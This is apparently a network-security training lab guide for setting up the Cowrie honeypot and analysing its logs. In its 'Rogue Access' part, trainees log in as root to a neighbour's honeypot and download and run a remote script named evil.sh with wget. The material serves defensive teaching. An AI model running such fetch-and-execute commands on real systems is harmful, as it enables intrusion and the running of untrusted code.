
#  super user command.
$  normal user command.

Username apnic  and password training .

VM Details

[group01.apnictraining.net] [192.168.30.1]
[group02.apnictraining.net] [192.168.30.2]
......  
[group10.apnictraining.net] [192.168.30.10]  
[group11.apnictraining.net] [192.168.30.11]  
......  
[group20.apnictraining.net] [192.168.30.20]  
[group21.apnictraining.net] [192.168.30.21]  
......
[group30.apnictraining.net] [192.168.30.30]  

Preinstalled packages

To save time, all depenedencies have been preinstalled on the containers

Lab Setup

1. Login to your server (SSH using the username and password given above), where X is your group
number:

ssh apnic@192.168.30.X

2. Update the repository

sudo apt update && sudo apt upgrade

3. Since we will be port-forwarding anything on the standard ssh and telnet ports to cowrie, we need to
change the default ssh port of the server to something non-standard (use your favourite text editor)

LAB: Honeypot

Part-1: Installing Cowrie



sudo vi /etc/ssh/sshd_config

find the line that says port 22  and change it to 2200

press i  and change the port to 2200

save and quit: :wq

restart ssh service

sudo systemctl restart sshd.service

check the ssh status and make sure it is listening on port 2200

4. Open a new terminal (keep your old terminal open as a back up in case things go wrong) and ssh back
into your server using the new port:

ssh apnic@192.168.30.X -p 2200

5. Let us now create a port forwarding rule to forward anything over standard ssh (22) and telnet (23) to
cowrie:

sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 222
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sudo iptables -t nat -A PREROUTING -p tcp --dport 23 -j REDIRECT --to-port 2223

NOTE: since this is just for this lab, no need save the rules persistently.

you can verify by:

sudo iptables -t nat -L -n -v   

6. Create a cowrie user account without password



sudo adduser --disabled-password cowrie

7. Change to user cowrie

sudo su - cowrie

8. Install Cowrie

git clone http://github.com/cowrie/cowrie 

9. Change to cowrie directory

cd cowrie

10. Setup the Virtual Environment (make sure you are in the right working directory
home/cowrie/cowrie  using pwd )

virtualenv --python=python3 cowrie-env

11. Activate the Virtual environment and install the Python packages need by Cowrie

$ source cowrie-env/bin/activate

(cowrie-env) $ pip install --upgrade pip

(cowrie-env) $ pip install --upgrade -r requirements.txt

12. Edit the Cowrie configuration file:

vi etc/cowrie.cfg.dist

Search for telnet  (line 489) and enable telnet (change enabled = false  to
enabled = true )

13. Start cowrie:



$bin/cowrie start

14. Verify cowrie is running and listening on port 2222  and 2223

netstat -nat** 

NOTE: Do not close your terminal session to your server (your working directory should still be
/home/cowrie/cowrie )

NOTE: Open a new terminal window for part-2

1. ssh or telnet to a honeypot instance operated by the person sitting next to you (try with username
root  and any random password)

ssh root@192.168.30.X 

2. Once you have logged in, issue the following commands

wget http://ceg.fsck.my/evil.sh 
chmod 755 evil.sh 
./evil.sh 
exit 

3. You can try any linux command you want on the honeypot (SELinux)

1. Identify the relevant information (ip address, URL, etc) from the logs in
var/log/cowrie/cowrie.log

(cowrie-env) $less var/log/cowrie/cowrie.log 

2. List the captured sessions in var/lib/cowrie/tty/

(cowrie-env) $ls var/lib/cowrie/tty/

3. Replay the logs and take note of the activities of any particular session:

(cowrie-env) $bin/playlog var/lib/cowrie/tty/[insert_log_file_name_here]

Part-2: Rogue Access to someone's machine

Part-3: Analysis



Example:

(cowrie-env) $bin/playlog var/lib/cowrie/tty/fcf3004d8fc51aa573fbfc6dd375a
a981087a38b2aa9b056c1b228dce8eb8a2f

End of Lab


